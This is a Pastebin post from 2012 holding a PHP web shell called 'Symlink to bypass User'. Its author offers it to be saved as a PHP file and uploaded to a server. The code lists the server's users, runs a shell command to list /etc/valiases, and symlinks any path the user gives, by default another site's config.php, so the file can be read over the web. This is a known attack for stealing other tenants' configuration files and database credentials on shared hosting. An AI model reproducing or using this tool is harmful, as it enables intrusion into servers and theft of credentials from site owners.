Advertisement
ZaraByte

Symlink Bypass User – By ZaraByte [FIXED]

Dec 19th, 2012
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2.  
  3. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  4.  
  5.  
  6. <head>
  7. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  8. <head>
  9. <title>ZaraByte - Symlink to bypass User</title>
  10. <style type="text/css">
  11. {
  12. margin: 0 auto;
  13. }
  14.  
  15.  
  16. body {
  17. font-family: Verdana;
  18. font-size: 12px;
  19. background: #EEE url(http://i.imgur.com/F4fqd.gif);
  20. background-attachment: fixed;
  21. background-attachment: scroll;
  22. background-color: #333
  23. }
  24.  
  25.  
  26. a {
  27. color: #36C;
  28. }
  29. a:hover {
  30. color: #06F;
  31. }
  32.  
  33.  
  34. .container {
  35. background: #333;
  36. margin: 0 auto;
  37. padding-bottom: 6px;
  38. width: 531px;
  39. border: 1px solid #000;
  40. }
  41. .header {
  42. background: #333;
  43. border: 1px solid #000;
  44. margin-bottom: 8px;
  45. }
  46.  
  47.  
  48. .title h1 {
  49. color: #000;
  50. font: bold 3em Verdana,sans-serif;
  51. height: 120px;
  52. line-height: 12px;
  53. margin-bottom: 8px;
  54. text-align: center;
  55. }
  56.  
  57.  
  58. </style>
  59.  
  60.  
  61. </head>
  62.  
  63.  
  64.  
  65.  
  66. <body>
  67.  
  68.  
  69. <div class="container">
  70.  
  71. <div class="main">
  72.  
  73.  
  74. <div class="header">
  75.  
  76. <div class="title">
  77. <h1><img src="http://i.imgur.com/nt3do.png"></h1></div>
  78. </div>
  79.  
  80.  
  81. </div>
  82.  
  83. <div class="content">
  84.  
  85.  
  86. <div class="item">
  87. <form style="border: 1px solid #333">
  88. <center><font color="#FF0000">-= [Symlink to bypass User] =-</font><br>
  89. <font color="#FF0000">Redesigned by ZaraByte </font><br>
  90. <font color="#FF0000"><a href=http://zarabyte.com>http://zarabyte.com</a><br>
  91. <font color="#FF0000"><a href="mailto:zarabyte@gmail.com" style="text-decoration: none">
  92. <font color="#FF0000">zarabyte@gmail.com</font></a></font></center>
  93. </form>
  94. <font face=tahoma size=2>
  95. <form style="border: 1px solid #000">
  96. <font color=red>Filename to view:</font>
  97. <input type="text" name="c" value="<?php $line=$_SERVER['DOCUMENT_ROOT']; echo $line . "/path/to/config.php"; ?>" size="51">
  98. <input type="submit" value="Submit">
  99. </form>
  100. <br>
  101. <form style="border: 1px solid #000">
  102. <font color=red>Option 1:</font><br>
  103. <font color=red>Get Users in Server:</font><br>
  104. <select size=\"1\" name="passwd"><option value="option1">/etc/passwd</option></select>
  105. <input type="submit" value="Submit"><br>
  106. <font color=red>Recommended Option! Option 2. doesn't work on all servers. </font><br>
  107. </form>
  108. <br>
  109. <form style="border: 1px solid #000">
  110. <font color=red>Option 2:</font><br>
  111. <font color=red>Get Name Sites with User: </font><br>
  112. <select size="1" name="valiases">
  113. <option value="option2">/etc/valiases</option></select>
  114. <input type="submit" value="Submit"><br>
  115. <font color=red>Works on some servers if nothing shows try Option 1.</font><br>
  116. </form>
  117. <textarea method='POST' rows=15 cols=63 wrap=off>
  118. <?php
  119.  
  120.  
  121. if ($_GET['passwd'] )
  122.  
  123.  
  124. for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
  125. $ara = posix_getpwuid($uid);
  126. if (!empty($ara)) {
  127. while (list ($key, $val) = each($ara)){
  128. print "$val:";
  129. }
  130. print "\n";
  131. }
  132. }
  133. echo "</textarea>";
  134.  
  135.  
  136. $k = $_GET['c'];
  137. $flib = "output.txt";
  138.  
  139.  
  140. if ($k == "") {
  141. die;
  142. }else{
  143. @unlink($flib);
  144. $sym = $k;
  145. $link = getcwd() . "/" . $flib;
  146. @symlink($sym, $link);
  147. if ($k{0} == "/") {
  148. echo "<script> window.location = '" . $flib . "'</script>";
  149. }else{
  150. echo "<pre><xmp>";
  151. echo readlink($flib) . "\n";
  152. echo "Filesize: " . linkinfo($flib) . "B\n\n";
  153. $ddir = getcwd();
  154. $file2 = str_replace($DOCUMENT_ROOT,'' , $ddir);
  155. $file2 = "http://" . $SERVER_NAME . $filee . $flib;
  156. $result = file_get_contents($file2); echo $result;
  157. }
  158. }
  159. if ($_GET['valiases'] )
  160. system('ls -al /etc/valiases'); //Only Works with some servers!
  161. ?>
  162. </div>
  163. </body>
  164. </html>
  165.  
  166.  
  167. Replace the old code with this the one i released is missing the php code sorry about that still trying to recover stuff but this should work fine... save it as a php file.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement